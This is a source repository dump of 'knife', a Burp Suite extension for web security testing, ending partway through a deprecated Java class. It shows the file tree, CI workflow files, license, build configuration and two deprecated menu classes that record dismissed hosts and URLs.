├── .github └── workflows │ ├── Qodana_code_quality.yml │ └── maven.yml ├── .gitignore ├── Help.md ├── LICENSE ├── README-en.assets ├── browser.png ├── confirm.png ├── custom-payload.gif ├── image-20211230165134024.png ├── image-20211230170314436.png ├── image-20211230171913891.png ├── image-20211230172843489.png ├── image-20211230172943685.png ├── image-20211230174237094.png ├── image-20211230174714541.png ├── image-20211230174825402.png ├── image-20211230175652287.png ├── image-20211230181047699.png ├── image-20211230182052389.png ├── image-20211230182116718.png ├── image-20211230182952933.png ├── image-20211230183059381.png ├── image-20211230183641250.png ├── image-20211230184642530.png ├── image-20211230190034976.png ├── jetbrains.png ├── openwithbrowser.gif ├── runsqlmap-new.gif ├── tokenHeader.png ├── u2cTab.png ├── updatecookie.png └── updateheader.png ├── README-en.md ├── README.assets ├── browser.png ├── confirm.png ├── custom-payload.gif ├── image-20211230165134024.png ├── image-20211230170314436.png ├── image-20211230171913891.png ├── image-20211230172843489.png ├── image-20211230172943685.png ├── image-20211230174237094.png ├── image-20211230174714541.png ├── image-20211230174825402.png ├── image-20211230175652287.png ├── image-20211230181047699.png ├── image-20211230182052389.png ├── image-20211230182116718.png ├── image-20211230182952933.png ├── image-20211230183059381.png ├── image-20211230183641250.png ├── image-20211230184642530.png ├── image-20211230190034976.png ├── image-20230419122857495.png ├── image-20230419123219997.png ├── image-20230419123228184.png ├── image-20230419123702800.png ├── image-20230419131537362.png ├── image-20230419132007829.png ├── image-20230419132223617.png ├── image-20230419132437806.png ├── image-20230419132506911.png ├── image-20230419132744865.png ├── image-20230419132856797.png ├── jetbrains.png ├── openwithbrowser.gif ├── runsqlmap-new.gif ├── tokenHeader.png ├── u2cTab.png ├── updatecookie.png └── updateheader.png ├── README.md ├── assets ├── image-20231220194707237.png ├── image-20231220194724635.png ├── image-20240506105704093.png ├── image-20240506105825874.png └── image-20240506112829034.png ├── package.bat ├── pom.xml └── src ├── Deprecated ├── DismissAutoDropMenu.java ├── DismissAutoForwardMenu.java ├── DownloadResponseMenu2.java ├── InsertXSSMenu.java ├── JSONBeautifier.java ├── MessageEditor.java ├── RunSQLMapMenu.java ├── U2CTabFactory.java └── Unicode.java ├── Requester └── RunnerGUI.java ├── base ├── FindUrlAction.java ├── MimeTypesList.java ├── Proxy.java ├── RequestTask.java ├── RequestType.java ├── blackHost.txt └── blackPath.txt ├── burp ├── BurpExtender.java ├── Methods.java ├── RobotInput.java └── threadRequester.java ├── config ├── ConfigEntry.java ├── ConfigManager.java ├── ConfigTable.java ├── ConfigTableMenu.java ├── ConfigTableModel.java ├── CookieFinder.java ├── CookieRecorder.java ├── GUI.java └── ProcessManager.java ├── knife ├── AddHostToScopeMenu.java ├── ChangeToUploadRequest.java ├── ChineseGUI.java ├── ChunkedEncodingMenu.java ├── CopyJsOfThisSite.java ├── CustomPayloadForAllInsertpointMenu.java ├── CustomPayloadMenu.java ├── DismissCancelMenu.java ├── DismissMenu.java ├── DoActiveScanMenu.java ├── DownloadResponseMenu.java ├── FindUrlAndRequest.java ├── OpenWithBrowserMenu.java ├── RunCmdMenu.java ├── SetCookieMenu.java ├── SetCookieWithHistoryMenu.java ├── UpdateCookieMenu.java ├── UpdateCookieWithHistoryMenu.java ├── UpdateHeaderMenu.java └── ViewChineseMenu.java ├── messageTab ├── Info │ ├── InfoEntry.java │ ├── InfoGrepper.java │ ├── InfoPanel.java │ ├── InfoPanelHeadPanel.java │ ├── InfoTab.java │ ├── InfoTabFactory.java │ ├── InfoTable.java │ ├── InfoTableMenu.java │ └── InfoTableModel.java └── U2C │ ├── ChinesePanel.java │ ├── ChineseTab.java │ ├── ChineseTabFactory.java │ └── TextEditorDemo.java ├── runcmd ├── MessagePart.java ├── RunAsKonsole.java └── RunCmd_Action.java └── test ├── ComBoxEditor.java ├── NewClass.java ├── RobotInActionListener.java ├── SetTest.java ├── URLTest.java ├── gsoTest.java └── render.java /.github/workflows/Qodana_code_quality.yml: -------------------------------------------------------------------------------- 1 | name: Qodana 2 | on: 3 | workflow_dispatch: 4 | pull_request: 5 | push: 6 | branches: # Specify your branches here 7 | - main # The 'main' branch 8 | - master # The 'master' branch 9 | 10 | jobs: 11 | qodana: 12 | runs-on: ubuntu-latest 13 | permissions: 14 | contents: write 15 | pull-requests: write 16 | checks: write 17 | steps: 18 | - uses: actions/checkout@v3 19 | with: 20 | ref: ${{ github.event.pull_request.head.sha }} # to check out the actual pull request commit, not the merge commit 21 | fetch-depth: 0 # a full history is required for pull request analysis 22 | - name: 'Qodana Scan' 23 | uses: JetBrains/qodana-action@v2024.1 24 | env: 25 | QODANA_TOKEN: ${{ secrets.QODANA_TOKEN }} 26 | -------------------------------------------------------------------------------- /.github/workflows/maven.yml: -------------------------------------------------------------------------------- 1 | # This workflow will build a Java project with Maven, and cache/restore any dependencies to improve the workflow execution time 2 | # For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-java-with-maven 3 | 4 | # This workflow uses actions that are not certified by GitHub. 5 | # They are provided by a third-party and are governed by 6 | # separate terms of service, privacy policy, and support 7 | # documentation. 8 | 9 | name: Java CI with Maven 10 | 11 | on: 12 | push: 13 | branches: [ "master" ] 14 | pull_request: 15 | branches: [ "master" ] 16 | 17 | jobs: 18 | build: 19 | 20 | runs-on: ubuntu-latest 21 | 22 | steps: 23 | - uses: actions/checkout@v3 24 | - name: Set up JDK 17 25 | uses: actions/setup-java@v3 26 | with: 27 | java-version: '17' 28 | distribution: 'temurin' 29 | cache: maven 30 | - name: Build with Maven 31 | run: mvn -B package --file pom.xml 32 | 33 | - name: Archive Jar file 34 | uses: actions/upload-artifact@v4 35 | with: 36 | name: jar-with-dependencies 37 | path: ./target/*-jar-with-dependencies.jar # 指定二进制文件的路径 38 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | /bin/ 2 | /target/ 3 | /.idea/ 4 | /.settings/ 5 | *.iml 6 | .DS_Store 7 | .classpath 8 | .project 9 | -------------------------------------------------------------------------------- /Help.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/Help.md -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 bit4woo 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README-en.assets/browser.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README-en.assets/browser.png -------------------------------------------------------------------------------- /README-en.assets/confirm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README-en.assets/confirm.png -------------------------------------------------------------------------------- /README-en.assets/custom-payload.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README-en.assets/custom-payload.gif -------------------------------------------------------------------------------- /README-en.assets/image-20211230165134024.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README-en.assets/image-20211230165134024.png -------------------------------------------------------------------------------- /README-en.assets/image-20211230170314436.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README-en.assets/image-20211230170314436.png -------------------------------------------------------------------------------- /README-en.assets/image-20211230171913891.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README-en.assets/image-20211230171913891.png -------------------------------------------------------------------------------- /README-en.assets/image-20211230172843489.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README-en.assets/image-20211230172843489.png -------------------------------------------------------------------------------- /README-en.assets/image-20211230172943685.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README-en.assets/image-20211230172943685.png -------------------------------------------------------------------------------- /README-en.assets/image-20211230174237094.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README-en.assets/image-20211230174237094.png -------------------------------------------------------------------------------- /README-en.assets/image-20211230174714541.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README-en.assets/image-20211230174714541.png -------------------------------------------------------------------------------- /README-en.assets/image-20211230174825402.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README-en.assets/image-20211230174825402.png -------------------------------------------------------------------------------- /README-en.assets/image-20211230175652287.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README-en.assets/image-20211230175652287.png -------------------------------------------------------------------------------- /README-en.assets/image-20211230181047699.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README-en.assets/image-20211230181047699.png -------------------------------------------------------------------------------- /README-en.assets/image-20211230182052389.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README-en.assets/image-20211230182052389.png -------------------------------------------------------------------------------- /README-en.assets/image-20211230182116718.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README-en.assets/image-20211230182116718.png -------------------------------------------------------------------------------- /README-en.assets/image-20211230182952933.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README-en.assets/image-20211230182952933.png -------------------------------------------------------------------------------- /README-en.assets/image-20211230183059381.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README-en.assets/image-20211230183059381.png -------------------------------------------------------------------------------- /README-en.assets/image-20211230183641250.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README-en.assets/image-20211230183641250.png -------------------------------------------------------------------------------- /README-en.assets/image-20211230184642530.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README-en.assets/image-20211230184642530.png -------------------------------------------------------------------------------- /README-en.assets/image-20211230190034976.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README-en.assets/image-20211230190034976.png -------------------------------------------------------------------------------- /README-en.assets/jetbrains.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README-en.assets/jetbrains.png -------------------------------------------------------------------------------- /README-en.assets/openwithbrowser.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README-en.assets/openwithbrowser.gif -------------------------------------------------------------------------------- /README-en.assets/runsqlmap-new.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README-en.assets/runsqlmap-new.gif -------------------------------------------------------------------------------- /README-en.assets/tokenHeader.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README-en.assets/tokenHeader.png -------------------------------------------------------------------------------- /README-en.assets/u2cTab.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README-en.assets/u2cTab.png -------------------------------------------------------------------------------- /README-en.assets/updatecookie.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README-en.assets/updatecookie.png -------------------------------------------------------------------------------- /README-en.assets/updateheader.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README-en.assets/updateheader.png -------------------------------------------------------------------------------- /README.assets/browser.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/browser.png -------------------------------------------------------------------------------- /README.assets/confirm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/confirm.png -------------------------------------------------------------------------------- /README.assets/custom-payload.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/custom-payload.gif -------------------------------------------------------------------------------- /README.assets/image-20211230165134024.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/image-20211230165134024.png -------------------------------------------------------------------------------- /README.assets/image-20211230170314436.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/image-20211230170314436.png -------------------------------------------------------------------------------- /README.assets/image-20211230171913891.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/image-20211230171913891.png -------------------------------------------------------------------------------- /README.assets/image-20211230172843489.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/image-20211230172843489.png -------------------------------------------------------------------------------- /README.assets/image-20211230172943685.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/image-20211230172943685.png -------------------------------------------------------------------------------- /README.assets/image-20211230174237094.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/image-20211230174237094.png -------------------------------------------------------------------------------- /README.assets/image-20211230174714541.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/image-20211230174714541.png -------------------------------------------------------------------------------- /README.assets/image-20211230174825402.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/image-20211230174825402.png -------------------------------------------------------------------------------- /README.assets/image-20211230175652287.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/image-20211230175652287.png -------------------------------------------------------------------------------- /README.assets/image-20211230181047699.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/image-20211230181047699.png -------------------------------------------------------------------------------- /README.assets/image-20211230182052389.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/image-20211230182052389.png -------------------------------------------------------------------------------- /README.assets/image-20211230182116718.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/image-20211230182116718.png -------------------------------------------------------------------------------- /README.assets/image-20211230182952933.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/image-20211230182952933.png -------------------------------------------------------------------------------- /README.assets/image-20211230183059381.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/image-20211230183059381.png -------------------------------------------------------------------------------- /README.assets/image-20211230183641250.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/image-20211230183641250.png -------------------------------------------------------------------------------- /README.assets/image-20211230184642530.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/image-20211230184642530.png -------------------------------------------------------------------------------- /README.assets/image-20211230190034976.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/image-20211230190034976.png -------------------------------------------------------------------------------- /README.assets/image-20230419122857495.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/image-20230419122857495.png -------------------------------------------------------------------------------- /README.assets/image-20230419123219997.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/image-20230419123219997.png -------------------------------------------------------------------------------- /README.assets/image-20230419123228184.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/image-20230419123228184.png -------------------------------------------------------------------------------- /README.assets/image-20230419123702800.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/image-20230419123702800.png -------------------------------------------------------------------------------- /README.assets/image-20230419131537362.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/image-20230419131537362.png -------------------------------------------------------------------------------- /README.assets/image-20230419132007829.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/image-20230419132007829.png -------------------------------------------------------------------------------- /README.assets/image-20230419132223617.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/image-20230419132223617.png -------------------------------------------------------------------------------- /README.assets/image-20230419132437806.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/image-20230419132437806.png -------------------------------------------------------------------------------- /README.assets/image-20230419132506911.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/image-20230419132506911.png -------------------------------------------------------------------------------- /README.assets/image-20230419132744865.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/image-20230419132744865.png -------------------------------------------------------------------------------- /README.assets/image-20230419132856797.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/image-20230419132856797.png -------------------------------------------------------------------------------- /README.assets/jetbrains.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/jetbrains.png -------------------------------------------------------------------------------- /README.assets/openwithbrowser.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/openwithbrowser.gif -------------------------------------------------------------------------------- /README.assets/runsqlmap-new.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/runsqlmap-new.gif -------------------------------------------------------------------------------- /README.assets/tokenHeader.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/tokenHeader.png -------------------------------------------------------------------------------- /README.assets/u2cTab.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/u2cTab.png -------------------------------------------------------------------------------- /README.assets/updatecookie.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/updatecookie.png -------------------------------------------------------------------------------- /README.assets/updateheader.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/README.assets/updateheader.png -------------------------------------------------------------------------------- /assets/image-20231220194707237.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/assets/image-20231220194707237.png -------------------------------------------------------------------------------- /assets/image-20231220194724635.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/assets/image-20231220194724635.png -------------------------------------------------------------------------------- /assets/image-20240506105704093.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/assets/image-20240506105704093.png -------------------------------------------------------------------------------- /assets/image-20240506105825874.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/assets/image-20240506105825874.png -------------------------------------------------------------------------------- /assets/image-20240506112829034.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bit4woo/knife/7be4eecd11e3ecff11d7625ecb627e64da4129af/assets/image-20240506112829034.png -------------------------------------------------------------------------------- /package.bat: -------------------------------------------------------------------------------- 1 | :: mvn dependency:resolve -U 重新下载依赖包,尤其针对java_utilbox 2 | :: mvn clean package 重新打包构建 3 | mvn dependency:resolve -U && mvn clean package -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 4 | 5 | UTF-8 6 | 7 | 4.0.0 8 | com.bit4woo.burp 9 | 2.3 10 | 11 | 12 | 13 | jitpack.io 14 | https://jitpack.io 15 | 16 | 17 | 18 | 19 | src 20 | 21 | 22 | maven-assembly-plugin 23 | 3.1.0 24 | 25 | 26 | jar-with-dependencies 27 | 28 | 29 | 30 | 31 | true 32 | 33 | 34 | 35 | 36 | 37 | 38 | make-assembly 39 | package 40 | 41 | single 42 | 43 | 44 | 45 | 46 | 47 | 48 | maven-compiler-plugin 49 | 3.7.0 50 | 51 | 1.8 52 | 1.8 53 | 54 | 55 | **/Deprecated/** 56 | **/Requester/** 57 | **/test/** 58 | 59 | 60 | 61 | 62 | 63 | 64 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | com.github.kevinsawicki 74 | http-request 75 | 6.0 76 | 77 | 78 | 79 | 80 | net.portswigger.burp.extender 81 | burp-extender-api 82 | 1.7.22 83 | 84 | 85 | 86 | 87 | com.github.bit4woo 88 | java_utilbox 89 | main-SNAPSHOT 90 | 91 | 92 | 97 | 100 | 101 | 102 | 103 | 104 | com.google.guava 105 | guava 106 | 32.0.0-jre 107 | 108 | 109 | 110 | 111 | org.apache.commons 112 | commons-text 113 | 1.10.0 114 | 115 | 116 | 117 | 118 | org.apache.commons 119 | commons-lang3 120 | 3.9 121 | 122 | 123 | 124 | 125 | commons-io 126 | commons-io 127 | 2.16.1 128 | 129 | 130 | 131 | 132 | com.google.code.gson 133 | gson 134 | 2.8.9 135 | 136 | 137 | 138 | 139 | 140 | org.json 141 | json 142 | 20231013 143 | 144 | 145 | 146 | 147 | 148 | com.ibm.icu 149 | icu4j 150 | 66.1 151 | 152 | 153 | 154 | 155 | org.beanshell 156 | bsh 157 | 2.0b5 158 | 159 | 160 | 161 | 162 | commons-validator 163 | commons-validator 164 | 1.8.0 165 | 166 | 167 | 168 | 169 | com.fifesoft 170 | rsyntaxtextarea 171 | 3.4.0 172 | 173 | 174 | 175 | 176 | 177 | org.apache.tika 178 | tika-core 179 | 3.0.0-BETA 180 | 181 | 182 | 183 | 184 | knife 185 | -------------------------------------------------------------------------------- /src/Deprecated/DismissAutoDropMenu.java: -------------------------------------------------------------------------------- 1 | package Deprecated; 2 | 3 | import java.awt.event.ActionEvent; 4 | import java.awt.event.ActionListener; 5 | import java.io.PrintWriter; 6 | import java.util.Set; 7 | 8 | import javax.swing.JMenu; 9 | import javax.swing.JMenuItem; 10 | 11 | import burp.BurpExtender; 12 | import burp.Getter; 13 | import burp.IBurpExtenderCallbacks; 14 | import burp.IContextMenuInvocation; 15 | import burp.IExtensionHelpers; 16 | import burp.IHttpRequestResponse; 17 | 18 | @Deprecated 19 | public class DismissAutoDropMenu extends JMenu {//JMenuItem vs. JMenu 20 | 21 | public DismissAutoDropMenu(BurpExtender burp){ 22 | String dismissed = burp.tableModel.getConfigValueByKey("DismissedAutoDrop"); 23 | if (dismissed != null) { 24 | this.setText("^_^ Dismissed (Auto Drop)"); 25 | 26 | JMenuItem item = new JMenuItem("Selected Host"); 27 | item.addActionListener(new Dismiss_Action_Auto_Drop(burp,burp.invocation)); 28 | this.add(item); 29 | 30 | JMenuItem item1 = new JMenuItem("Selected URL"); 31 | item1.addActionListener(new Dismiss_Action_Auto_Drop(burp,burp.invocation)); 32 | this.add(item1); 33 | } 34 | } 35 | } 36 | 37 | class Dismiss_Action_Auto_Drop implements ActionListener{ 38 | //scope matching is actually String matching!! 39 | private IContextMenuInvocation invocation; 40 | public BurpExtender myburp; 41 | public IExtensionHelpers helpers; 42 | public PrintWriter stdout; 43 | public PrintWriter stderr; 44 | public IBurpExtenderCallbacks callbacks; 45 | //callbacks.printOutput(Integer.toString(invocation.getToolFlag()));//issue tab of target map is 16 46 | public Dismiss_Action_Auto_Drop(BurpExtender burp,IContextMenuInvocation invocation) { 47 | this.invocation = invocation; 48 | this.myburp = burp; 49 | this.helpers = burp.helpers; 50 | this.callbacks = BurpExtender.callbacks; 51 | this.stderr = burp.stderr; 52 | } 53 | 54 | @Override 55 | public void actionPerformed(ActionEvent e) 56 | { 57 | try{ 58 | Set dissmissed = myburp.tableModel.getConfigValueSetByKey("DismissedAutoDrop"); 59 | if (e.getActionCommand().equalsIgnoreCase("This Host")) { 60 | IHttpRequestResponse[] messages = invocation.getSelectedMessages(); 61 | for(IHttpRequestResponse message:messages) { 62 | String host = message.getHttpService().getHost(); 63 | dissmissed.add(host); 64 | } 65 | }else { 66 | IHttpRequestResponse[] messages = invocation.getSelectedMessages(); 67 | for(IHttpRequestResponse message:messages) { 68 | Getter getter = new Getter(helpers); 69 | String url = getter.getFullURL(message).toString(); 70 | if (url.contains("?")){ 71 | url = url.substring(0,url.indexOf("?")); 72 | } 73 | dissmissed.add(url); 74 | } 75 | } 76 | 77 | myburp.tableModel.setConfigValueSetByKey("DismissedAutoDrop",dissmissed); 78 | }catch (Exception e1) 79 | { 80 | e1.printStackTrace(stderr); 81 | } 82 | } 83 | } -------------------------------------------------------------------------------- /src/Deprecated/DismissAutoForwardMenu.java: -------------------------------------------------------------------------------- 1 | package Deprecated; 2 | 3 | import java.awt.event.ActionEvent; 4 | import java.awt.event.ActionListener; 5 | import java.io.PrintWriter; 6 | import java.util.Set; 7 | 8 | import javax.swing.JMenu; 9 | import javax.swing.JMenuItem; 10 | 11 | import burp.BurpExtender; 12 | import burp.Getter; 13 | import burp.IBurpExtenderCallbacks; 14 | import burp.IContextMenuInvocation; 15 | import burp.IExtensionHelpers; 16 | import burp.IHttpRequestResponse; 17 | 18 | @Deprecated 19 | public class DismissAutoForwardMenu extends JMenu {//JMenuItem vs. JMenu 20 | 21 | public DismissAutoForwardMenu(BurpExtender burp){ 22 | String dismissed = burp.tableModel.getConfigValueByKey("DismissedAutoForward"); 23 | if (dismissed != null) { 24 | this.setText("^_^ Dismissed This Url"); 25 | 26 | JMenuItem item = new JMenuItem("Selected Host"); 27 | item.addActionListener(new Dismiss_Auto_Forward_Action(burp,burp.invocation)); 28 | this.add(item); 29 | 30 | JMenuItem item1 = new JMenuItem("Selected URL"); 31 | item1.addActionListener(new Dismiss_Auto_Forward_Action(burp,burp.invocation)); 32 | this.add(item1); 33 | } 34 | } 35 | } 36 | 37 | 38 | class Dismiss_Auto_Forward_Action implements ActionListener{ 39 | //scope matching is actually String matching!! 40 | private IContextMenuInvocation invocation; 41 | public BurpExtender myburp; 42 | public IExtensionHelpers helpers; 43 | public PrintWriter stdout; 44 | public PrintWriter stderr; 45 | public IBurpExtenderCallbacks callbacks; 46 | 